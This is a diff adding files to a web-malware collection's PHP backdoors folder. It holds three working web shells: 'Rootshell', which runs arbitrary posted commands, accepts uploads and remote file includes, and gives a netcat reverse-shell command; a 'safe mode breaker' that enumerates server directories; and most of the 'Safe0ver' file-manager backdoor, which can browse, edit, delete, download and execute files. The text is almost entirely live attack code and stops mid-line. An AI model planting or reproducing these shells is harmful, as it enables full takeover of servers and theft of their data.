^.^..^..JdMMMMNHo....^..jHMMMMMMMHl.^..^..jWMMMMNk+...^..^. */ +/* .^....jdNMM9+4MMNmo...?+zZV7???1wZO+.^..ddMMM6?WMMNmc..^..^ */ +/* ^.^.jqNMM9C!^??UMMNmmmkOltOz+++zltlOzjQQNMMY?!`??WMNNmc^.^. */ +/* ummQHMM9C!.uQo.??WMMMMNNQQkI!!?wqQQQQHMMMYC!.umx.?7WMNHmmmo */ +/* OUUUUU6:.jgWNNmx,`OUWHHHHHSI..?wWHHHHHW9C!.udMNHAx.?XUUUU9C */ +/* .......+dWMMMMMNm+,`+ltltlzz??+1lltltv+^.jdMMMMMMHA+......^ */ +/* ..^..JdMMMMC`vMMMNkJuAAAAAy+...+uAAAAA&JdMMMBC`dMMMHs....^. */ +/* ....dMMMMC``.``zHMMMMMMMMMMS==zXMMMMMMMMMM8v``.`?ZMMMNs.... */ +/* dMMMMMBC!`.....`!?????1OVVCz^^`+OVVC??????!`....^`?vMMMMMNk */ +/* ??????!`....^.........?ztlOz+++zlltz!........^.....???????! */ +/* .....^.^^.^..^.^^...uQQHkwz+!!!+zwWHmmo...^.^.^^.^..^....^. */ +/* ^^.^.....^.^..^...ugHMMMNkz1++++zXMMMMHmx..^....^.^..^.^..^ */ +/* ..^.^.^.....^...jdHMMMMM9C???????wWMMMMMHn+...^....^..^..^. */ +/* ^....^.^.^....JdMMMMMMHIz+.......?zdHMMMMMNA....^..^...^..^ */ +/* .^.^....^...JdMMMMMMHZttOz1111111zlttwWMMMMMNn..^.^..^..^.. */ +/* ..^.^.^....dNMMMMMWOOtllz!^^^^^^^+1lttOZWMMMMMNA,....^..^.. */ +/* ^....^..?dNMMMMMC?1ltllllzzzzzzzzzlllltlz?XMMMMNNk+^..^..^. */ +/* .^.^..+dNMM8T77?!`+lllz!!!!!!!!!!!!+1tll+`??777HMNHm;..^..^ */ +/* ..^..^jHMMNS`..^.`+ltlz+++++++++++++ztll+`....`dMMMHl.^..^. */ +/* ....^.jHMMNS`^...`+ltlz+++++++++++++zltl+`^.^.`dMMMHl..^..^ */ +/* ^^.^..jHMMNS`.^.^`+tllz+...........?+ltl+`.^..`dMMMHl...^.. */ +/* ..^..^jHMMM6`..^.`+lltltltlz111zltlltlll+`...^`dMMMHl.^..^. */ +/* ....^.jHNC``.^...`+zltlltlz+^^.+zltlltzz+`..^.^`?dMHl..^..^ */ +/* .^.^..jHNI....^..^``+zltltlzzzzzltltlv!``.^...^..dMHc....^. */ +/* ^...jdNMMNmo...^...^`?+ztlltllltlltz!``..^.^...dqNMMNmc.^.. */ +/* .^.`?7TTTTC!`..^.....^`?!!!!!!!!!!!!`..^....^.`?7TTTTC!..^. */ +/* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ +/* +/* We should take care some kind of history, i will add here to keep a trace of changes (who made it). +/* Also I think we should increase the last version number by 1 if you make some changes. +/* +/* CHANGES / VERSION HISTORY: +/* ==================================================================================== +/* Version Nick Description +/* - - - - - - - - - - - - - - - - - - - - - - - - - - - +/* 0.3.1 666 added an ascii bug :) +/* 0.3.1 666 password protection +/* 0.3.1 666 GET and POST changes +/* 0.3.2 666 coded a new uploader +/* 0.3.2 666 new password protection +/* 0.3.3 666 added a lot of comments :) +/* 0.3.3 666 added "Server Info" +/* 1.0.0 666 added "File Inclusion" +/* 1.0.0 666 removed password protection (nobody needs it...) +/* 1.0.0 666 added "Files & Directories" +/* +/* +--> +<? +// +// Default Changes +// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +$owner = "Hacker"; // Insert your nick +$version = "1.0.0"; // The version + +// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +// +?> + +<body link="#000000" vlink="#000000" alink="#000000" bgcolor="#FFFFD5"> +<style type="text/css"> +body{ +cursor:crosshair +} +</style> +<div align="center" style="width: 100%; height: 100"> +<pre width="100%" align="center"><strong> ____ _ ____ _ _ _ +| _ \ ___ ___ | |_ / ___|| |__ ___| | | +| |_) / _ \ / _ \| __| \___ \| '_ \ / _ \ | | +| _ < (_) | (_) | |_ _ ___) | | | | __/ | | +|_| \_\___/ \___/ \__| (_) |____/|_| |_|\___|_|_|</pre> +</div></strong> +<b><u><center><?php echo "This server has been infected by $owner"; ?></center></u></b> +<hr color="#000000" size="2,5"> + +<div align="center"> + <center> + <p> + <?php +// Check for safe mode +if( ini_get('safe_mode') ) { + print '<font color=#FF0000><b>Safe Mode ON</b></font>'; +} else { + print '<font color=#008000><b>Safe Mode OFF</b></font>'; +} + +?> +&nbsp;</p><font face="Webdings" size="6">!</font><br> +&nbsp;<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" width="100%" id="AutoNumber1" height="25" bordercolor="#000000"> + <tr> + <td width="1%" height="25" bgcolor="#FCFEBA"> + <p align="center"><font face="Verdana" size="2">[ Server Info ]</font></td> + </tr> + <tr> + <td width="49%" height="142"> + <p align="center"> + <font face="Verdana" style="font-size: 8pt"><b>Current Directory:</b> <? echo $_SERVER['DOCUMENT_ROOT']; ?> + <br /> + <b>Shell:</b> <? echo $SCRIPT_FILENAME ?> + <br> + <b>Server Software:</b> <? echo $SERVER_SOFTWARE ?><br> + <b>Server Name:</b> <? echo $SERVER_NAME ?><br> + <b>Server Protocol:</b> <? echo $SERVER_PROTOCOL ?><br> + </font></tr> + </table><br /> + <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" width="100%" id="AutoNumber1" height="426" bordercolor="#000000"> + <tr> + <td width="49%" height="25" bgcolor="#FCFEBA" valign="middle"> + <p align="center"><font face="Verdana" size="2">[ Command Execute ]</font></td> + <td width="51%" height="26" bgcolor="#FCFEBA" valign="middle"> + <p align="center"><font face="Verdana" size="2">[ File Upload ]</font></td> + </tr> + <tr> + <td width="49%" height="142"> + <p align="center"><form method="post"> +<p align="center"> +<br> +<font face="Verdana" style="font-size: 8pt">Insert your commands here:</font><br> +<br> +<textarea size="70" name="command" rows="2" cols="40" ></textarea> <br> +<br><input type="submit" value="Execute!"><br> +&nbsp;<br></p> + </form> + <p align="center"> + <textarea readonly size="1" rows="7" cols="53"><?php @$output = system($_POST['command']); ?></textarea><br> + <br> + <font face="Verdana" style="font-size: 8pt"><b>Info:</b> For a connect + back Shell, use: <i>nc -e cmd.exe [SERVER] 3333<br> + </i>after local command: <i>nc -v -l -p 3333 </i>(Windows)</font><br /><br /> <td><p align="center"><br> +<form enctype="multipart/form-data" method="post"> +<p align="center"><br> +<br> +<font face="Verdana" style="font-size: 8pt">Here you can upload some files.</font><br> +<br> +<input type="file" name="file" size="20"><br> +<br> +<font style="font-size: 5pt">&nbsp;</font><br> +<input type="submit" value="Upload File!"> <br> +&nbsp;</p> +</form> +<?php + +function check_file() +{ +global $file_name, $filename; + $backupstring = "copy_of_"; + $filename = $backupstring."$filename"; + + if( file_exists($filename)) + { + check_file(); + } +} + +if(!empty($file)) +{ + $filename = $file_name; + if( file_exists($file_name)) + { + check_file(); + echo "<p align=center>File already exist</p>"; + } + + else + { + copy($file,"$filename"); + if( file_exists($filename)) + { + echo "<p align=center>File uploaded successful</p>"; + } + elseif(! file_exists($filename)) + { + echo "<p align=center>File not found</p>"; + } + } +} +?> +<font face="Verdana" style="font-size: 8pt"> +<p align=\"center\"></font> +</td> + + </tr> + <tr> + <td width="49%" height="25" bgcolor="#FCFEBA"> + <p align="center"><font face="Verdana" size="2">[ Files & Directories ]</font></td> + <td width="51%" height="19" bgcolor="#FCFEBA"> + <p align="center"><font face="Verdana" size="2">[ File Inclusion ]</font></td> + </tr> + <tr> + <td width="49%" height="231"> + <form method="post"> +<p align="center"> +<font face="Verdana" style="font-size: 11pt"> +<? +$folder=opendir('./'); +while ($file = readdir($folder)) { +if($file != "." && $file != "..") +echo '<a target="_blank" href="'.$file.'">'.$file.'</a ><br>'; +} +closedir($folder); +?></p> + </form> + <p align="center"> + <br> + &nbsp;<p align="center">&nbsp;</td> + <td width="51%" height="232"> + <p align="center"><font face="Verdana" style="font-size: 8pt"><br> + Include + something :)<br> + <br> +&nbsp;</font><form method="POST"> + <p align="center"> + <input type="text" name="incl" size="20"><br> + <br> + <input type="submit" value="Include!" name="inc"></p> + </form> + <?php @$output = include($_POST['incl']); ?> + </td> + </tr> + </table> + </center> +</div> +<br /></p> +<div align="center"> + <center> + <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2"> + <tr> + <td width="100%" bgcolor="#FCFEBA" height="20"> + <p align="center"><font face="Verdana" size="2">Rootshell v<?php echo "$version" ?> 2006 by <a style="text-decoration: none" target="_blank" href="http://www.SR-Crew.de.tt">SR-Crew</a> </font></td> + </tr> + </table> + </center> +</div> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Safe mode breaker.php b/web-malware-collection-master/Backdoors/PHP/Safe mode breaker.php new file mode 100755 index 0000000..515a438 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Safe mode breaker.php @@ -0,0 +1,94 @@ +<? + + // Safe mode breaker. eXpl0id by KPbIC [myiworm@mail.ru] + // data: 28.01.2006 + + error_reporting(E_WARNING); + ini_set("display_errors", 1); + + echo "<head><title>".getcwd()."</title></head>"; + + echo "<form method=POST>"; + echo "<div style='float: left'>Root directory: <input type=text name=root value='{$_POST['root']}'></div>"; + echo "<input type=submit value='--&raquo;'></form>"; + + echo "<HR>"; + + // break fucking safe-mode ! + + $root = "/"; + + if($_POST['root']) $root = $_POST['root']; + + if (!ini_get('safe_mode')) die("Safe-mode is OFF."); + + $c = 0; $D = array(); + set_error_handler("eh"); + + $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + for($i=0; $i < strlen($chars); $i++){ + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; + + $prevD = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD){ + + for($j=0; $j < strlen($chars); $j++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; + + $prevD2 = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD2){ + + + for($p=0; $p < strlen($chars); $p++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; + + $prevD3 = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD3){ + + + for($r=0; $r < strlen($chars); $r++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; + glob($path."*"); + + } + + } + + } + + } + + } + + } + + } + + $D = array_unique($D); + + echo "<xmp>"; + foreach($D as $item) echo "{$item}\n"; + echo "</xmp>"; + + + + + function eh($errno, $errstr, $errfile, $errline){ + + global $D, $c, $i; + preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); + if($o){ $D[$c] = $o[2]; $c++;} + + } + +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Safe0ver Shell -Safe Mod Bypass By Evilc0der.txt b/web-malware-collection-master/Backdoors/PHP/Safe0ver Shell -Safe Mod Bypass By Evilc0der.txt new file mode 100755 index 0000000..34d7f7c --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Safe0ver Shell -Safe Mod Bypass By Evilc0der.txt @@ -0,0 +1,950 @@ +<?php + + +/* +***************************************************************************************** +* Safe0ver Shell //Safe Mod Bypass By Evilc0der * +***************************************************************************************** +* Evilc0der.org is a Platform Which You can Publish Your Shell Script * + +***************************************************************************************** + +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +!! Dikkat ! Script Egitim Amacli Yazilmistir.Scripti Kullanarak Yapacaginiz Illegal eylemlerden sorumlu Degiliz. +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +*/ + + +/*Setting some envirionment variables...*/ + +/* I added this to ensure the script will run correctly... + Please enter the Script's filename in this variable. */ +$SFileName=$PHP_SELF; + +/* uncomment the two following variables if you want to use http + authentication. This will password protect your PHPShell */ +//$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */ +//$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */ + +error_reporting(0); +$PHPVer=phpversion(); +$isGoodver=(intval($PHPVer[0])>=4); +$scriptTitle = "Safe0ver"; +$scriptident = "$scriptTitle By Evilc0der.org"; + +$urlAdd = ""; +$formAdd = ""; + +function walkArray($array){ + while (list($key, $data) = each($array)) + if (is_array($data)) { walkArray($data); } + else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";} +} + +if (isset($_PUT)) walkArray($_PUT); +if (isset($_GET)) walkArray($_GET); +if (isset($_POST)) walkArray($_POST); + + +$pos = strpos($urlAdd, "s=r"); +if (strval($pos) != "") { +$urlAdd= substr($urlAdd, 0, $pos); +} + +$urlAdd .= "&s=r&"; + +if (empty($Pmax)) + $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */ +if (empty($Pidx)) + $Pidx = 0; + +$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); +$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file ))); + +$scriptdate = "7 Subat 2007"; +$scriptver = "Bet@ Versiyon"; +$LOCAL_IMAGE_DIR = "img"; +$REMOTE_IMAGE_URL = "img"; +$img = array( + "Edit" => "edit.gif", + "Download" => "download.gif", + "Upload" => "upload.gif", + "Delete" => "delete.gif", + "View" => "view.gif", + "Rename" => "rename.gif", + "Move" => "move.gif", + "Copy" => "copy.gif", + "Execute" => "exec.gif" + ); + +while (list($id, $im)=each($img)) + if (file_exists("$LOCAL_IMAGE_DIR/$im")) + $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">"; + else + $img[$id] = "[$id]"; + + + + +/* HTTP AUTHENTICATION */ + + if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) { + setcookie("noauth",""); + Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\""); + Header( "HTTP/1.0 401 Unauthorized"); + echo "Your username or password is incorrect"; + exit ; + + } + +function buildUrl($display, $url) { + global $urlAdd; + $url = $SFileName . "?$urlAdd$url"; + return "<a href=\"$url\">$display</a>"; +} + +function sp($mp) { + for ( $i = 0; $i < $mp; $i++ ) + $ret .= "&nbsp;"; + return $ret; +} + +function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); } + +function Mydeldir($Fdir) { + if (is_dir($Fdir)) { + $Fh=@opendir($Fdir); + while ($Fbuf = readdir($Fh)) + if (($Fbuf != ".") && ($Fbuf != "..")) + Mydeldir("$Fdir/$Fbuf"); + @closedir($Fh); + return rmdir($Fdir); + } else { + return unlink($Fdir); + } +} + + +function arrval ($array) { +list($key, $data) = $array; +return $data; +} + +function formatsize($insize) { + $size = $insize; + $add = "B"; + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "KB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "MB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "GB"; + } + if ($size > 1024) { + $size = intval(intval($size) / 1.024)/1000; + $add = "TB"; + } + return "$size $add"; +} + +if ($cmd != "downl") { + ?> + +<!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> --> +<HTML> + <HEAD> + <STYLE> + <!-- + A{ text-decoration:none; color:navy; font-size: 12px } + body { + font-size: 12px; + font-family: arial, helvetica; + scrollbar-width: 5; + scrollbar-height: 5; + scrollbar-face-color: white; + scrollbar-shadow-color: silver; + scrollbar-highlight-color: white; + scrollbar-3dlight-color:silver; + scrollbar-darkshadow-color: silver; + scrollbar-track-color: white; + scrollbar-arrow-color: black; + background-color: #CCCCCC; + } + Table { font-size: 12px; } + TR{ font-size: 12px; } + TD{ + font-size: 12px; + font-family: arial, helvetical; + BORDER-LEFT: black 0px solid; + BORDER-RIGHT: black 0px solid; + BORDER-TOP: black 0px solid; + BORDER-BOTTOM: black 0px solid; + COLOR: black; + background: #CCCCCC; + } + .border{ BORDER-LEFT: black 1px solid; + BORDER-RIGHT: black 1px solid; + BORDER-TOP: black 1px solid; + BORDER-BOTTOM: black 1px solid; + } + .none { BORDER-LEFT: black 0px solid; + BORDER-RIGHT: black 0px solid; + BORDER-TOP: black 0px solid; + BORDER-BOTTOM: black 0px solid; + } + .inputtext { + background-color: #EFEFEF; + font-family: arial, helvetica; + border: 1px solid #000000; + height: 20; + } + .lighttd { background: #F8F8F8; + } + .darktd { background: #CCCCCC; + } + input { font-family: arial, helvetica; + } + .inputbutton { + background-color: #CCCCCC; + border: 1px solid #000000; + border-width: 1px; + height: 20; + } + .inputtextarea { + background-color: #CCCCCC; + border: 1px solid #000000; + scrollbar-width: 5; + scrollbar-height: 5; + scrollbar-face-color: #EFEFEF; + scrollbar-shadow-color: silver; + scrollbar-highlight-color: #EFEFEF; + scrollbar-3dlight-color:silver; + scrollbar-darkshadow-color: silver; + scrollbar-track-color: #EFEFEF; + scrollbar-arrow-color: black; + } + .top { BORDER-TOP: black 1px solid; } + .textin { BORDER-LEFT: silver 1px solid; + BORDER-RIGHT: silver 1px solid; + BORDER-TOP: silver 1px solid; + BORDER-BOTTOM: silver 1px solid; + width: 99%; font-size: 12px; font-weight: bold; color: Black; + } + .notop { BORDER-TOP: black 0px solid; } + .bottom { BORDER-BOTTOM: black 1px solid; } + .nobottom { BORDER-BOTTOM: black 0px solid; } + .left { BORDER-LEFT: black 1px solid; } + .noleft { BORDER-LEFT: black 0px solid; } + .right { BORDER-RIGHT: black 1px solid; } + .noright { BORDER-RIGHT: black 0px solid; } + .silver{ BACKGROUND: #CCCCCC; } +body,td,th { + color: #660000; +} +a:link { + color: #000000; + text-decoration: none; +} +a:hover { + color: #00FF00; + text-decoration: none; +} +a:active { + color: #666666; + text-decoration: none; +} +a:visited { + text-decoration: none; +} +.style5 { + color: #660000; + font-weight: bold; +} + --> + </STYLE> + <TITLE><?php echo $SFileName ?></TITLE> + <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></HEAD> + <body topmargin="0" leftmargin="0"> + <div style="position: absolute; background: #CCCCCC; z-order:10000; top:0; left:0; width: 100%; height: 100%;"> + <table nowrap width=100% border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"><center> + <strong> <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font> </strong> + </center></td> + </tr> + </table> + <table width=100% height="100%" NOWRAP border="0"> + <tr NOWRAP> + <td width="100%" NOWRAP><br> + + <?php +} + +if ( $cmd=="dir" ) { + $h=@opendir($dir); + if ($h == false) { + echo "<br><font color=\"red\">".sp(3)."\n\n\n\n + Klas�r Listelenemiyor!L�tfen Bypass B�l�m�n� Deneyin.<br>".sp(3)."\n + Script Gecisi Tamamlayamadi! + <br><br>".sp(3)."\n + Klas�re Girmek Icin yetkiniz Olduguna emin Olunuz... + <br><br></font>\n\n\n\n"; + } + if (function_exists('realpath')) { + $partdir = realpath($dir); + } + else { + $partdir = $dir; + } + if (strlen($partdir) >= 100) { + $partdir = substr($partdir, -100); + $pos = strpos($partdir, "/"); + if (strval($pos) != "") { + $partdir = "<-- ...".substr($partdir, $pos); + } + $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir ))); + $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir ))); + $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file ))); + } + ?> + <form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir"> + <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"> + <center>&nbsp;Safe0ver-Server File Browser...&nbsp;</center> + </td> + </tr> + </table> + <br> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td class="border nobottom noright"> + &nbsp;Listeliyor:&nbsp; + </td> + <td width="100%" class="border nobottom noleft"> + <table width="100%" border="0" cellpadding="1" cellspacing="0"> + <tr> + <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td> + <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GiT<b></a>&nbsp;<center></td> + </tr> + </table> + + </td> + </tr> + </table> + <!-- </form> --> + <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" > + <tr> + <td width="100%" NOWRAP class="silver border"> + &nbsp;Dosya Adi&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Yapilabilecekler&nbsp;&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Boyut&nbsp; + </td> + <td width=1 NOWRAP class="silver border noleft"> + &nbsp;Yetkiler&nbsp; + </td> + <td NOWRAP class="silver border noleft"> + &nbsp;Son D�zenleme&nbsp; + </td> + <tr> + <?php + + + /* <!-- This whole heap of junk is the sorting section... */ + + $dirn = array(); + $filen = array(); + $filesizes = 0; + while ($buf = readdir($h)) { + if (is_dir("$dir/$buf")) + $dirn[] = $buf; + else + $filen[] = $buf; + } + $dirno = count($dirn) + 1; + $fileno = count($filen) + 1; + + function mycmp($a, $b){ + if ($a == $b) return 0; + return (strtolower($a) < strtolower($b)) ? -1 : 1; + } + + if (function_exists("usort")) { + usort($dirn, "mycmp"); + usort($filen, "mycmp"); + } + else { + sort ($dirn); + sort ($filen); + } + reset ($dirn); + reset ($filen); + if (function_exists('array_merge')) { + $filelist = array_merge ($dirn, $filen); + } + else { + $filelist = $dirn + $filen; + } + + + if ( count($filelist)-1 > $Pmax ) { + $from = $Pidx * $Pmax; + $to = ($Pidx + 1) * $Pmax-1; + if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 ) + $to = count($filelist) - 1; + if ($to > count($filelist)-1) + $to = count($filelist)-1; + $Dcontents = array(); + For ($Fi = $from; $Fi <= $to; $Fi++) { + $Dcontents[] = $filelist[$Fi]; + } + + } + else { + $Dcontents = $filelist; + } + + $tdcolors = array("lighttd", "darktd"); + + while (list ($key, $file) = each ($Dcontents)) { + if (!$tdcolor=arrval(each($tdcolors))) { + reset($tdcolors); + $tdcolor = arrval(each($tdcolors)); } + + if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */ + /* <!-- Dirname --> */ + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n"; + /* <!-- Actions --> */ + echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n"; + /* <!-- Rename --> */ + if ( ($file != ".") && ($file != "..") ) + echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; + /* <!-- Delete --> */ + if ( ($file != ".") && ($file != "..") ) + echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; + /* <!-- End of Actions --> */ + echo "&nbsp;&nbsp;</center></td>\n"; + /* <!-- Size --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;</td>\n"; + /* <!-- Attributes --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n"; + echo "<strong>D</strong>"; + if ( @is_readable("$dir/$file") ) { + echo "<strong>R</strong>"; + } + if (function_exists('is_writeable')) { + if ( @is_writeable("$dir/$file") ) { + echo "<strong>W</stong>"; + } + } + else { + echo "<strong>(W)</stong>"; + } + if ( @is_executable("$dir/$file") ) { + echo "<Strong>X<strong>"; + } + echo "&nbsp;&nbsp;</td>\n"; + /* <!-- Date --> */ + echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n"; + echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;"; + echo "</td>"; + echo "</tr>\n"; + + } + else { /* <!-- Then it must be a File... --> */ + /* <!-- Filename --> */ + if ( @is_readable("$dir/$file") ) + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n"; + else + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n"; + /* <!-- Actions --> */ + echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n"; + /* <!-- Rename --> */ + echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; + /* <!-- Edit --> */ + if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) + echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n"; + /* <!-- Copy --> */ + echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n"; + /* <!-- Move --> */ + if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) + echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n"; + /* <!-- Delete --> */ + echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; + /* <!-- Download --> */ + echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n"; + /* <!-- Execute --> */ + if ( @is_executable("$dir/$file") ) + echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n"; + /* <!-- End of Actions --> */ + echo sp(2)."</center></td>\n"; + /* <!-- Size --> */ + echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n"; + $size = @filesize("$dir/$file"); + If ($size != false) { + $filesizes += $size; + echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>"; + } + else + echo "&nbsp;&nbsp;<strong>0 B<strong>"; + echo "&nbsp;&nbsp;</td>\n"; + + /* <!-- Attributes --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n"; + + if ( @is_readable("$dir/$file") ) + echo "<strong>R</strong>"; + if ( @is_writeable("$dir/$file") ) + echo "<strong>W</stong>"; + if ( @is_executable("$dir/$file") ) + echo "<Strong>X<strong>"; + if (function_exists('is_uploaded_file')){ + if ( @is_uploaded_file("$dir/$file") ) + echo "<Strong>U<strong>"; + } + else { + echo "<Strong>(U)<strong>"; + } + echo "&nbsp;&nbsp;</td>\n"; + /* <!-- Date --> */ + echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n"; + echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;"; + echo "</td>"; + echo "</tr>\n"; + } + } + + echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n"; + echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Klas�r,&nbsp;".@count ($filen)."&nbsp;Dosya&nbsp;&nbsp;\n"; + echo "</td><td NOWRAP class=\"silver border noleft\">\n"; + echo "&nbsp;&nbsp;Toplam Dosya Boyutu:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n"; + + function printpagelink($a, $b, $link = ""){ + if ($link != "") + echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>"; + else + echo "<b>| $a - $b |</b>"; + } + + if ( count($filelist)-1 > $Pmax ) { + echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>"; + $Fi = 0; + while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) { + $from = $Fi*$Pmax; + while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++; + $to = ($Fi + 1) * $Pmax - 1; + if ($Fi == $Pidx) + $link=""; + else + $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi"; + printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link); + echo "&nbsp;&nbsp;&nbsp;"; + $Fi++; + } + $from = $Fi*$Pmax; + while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++; + $to = count($filelist)-1; + if ($Fi == $Pidx) + $link=""; + else + $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi"; + printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link); + + + echo "</center></td></tr></table></td></tr>"; + } + + + echo "</table>\n<br><table NOWRAP>"; + + if ($isGoodver) { + echo "<tr><td class=\"silver border\">&nbsp;<strong>PHP 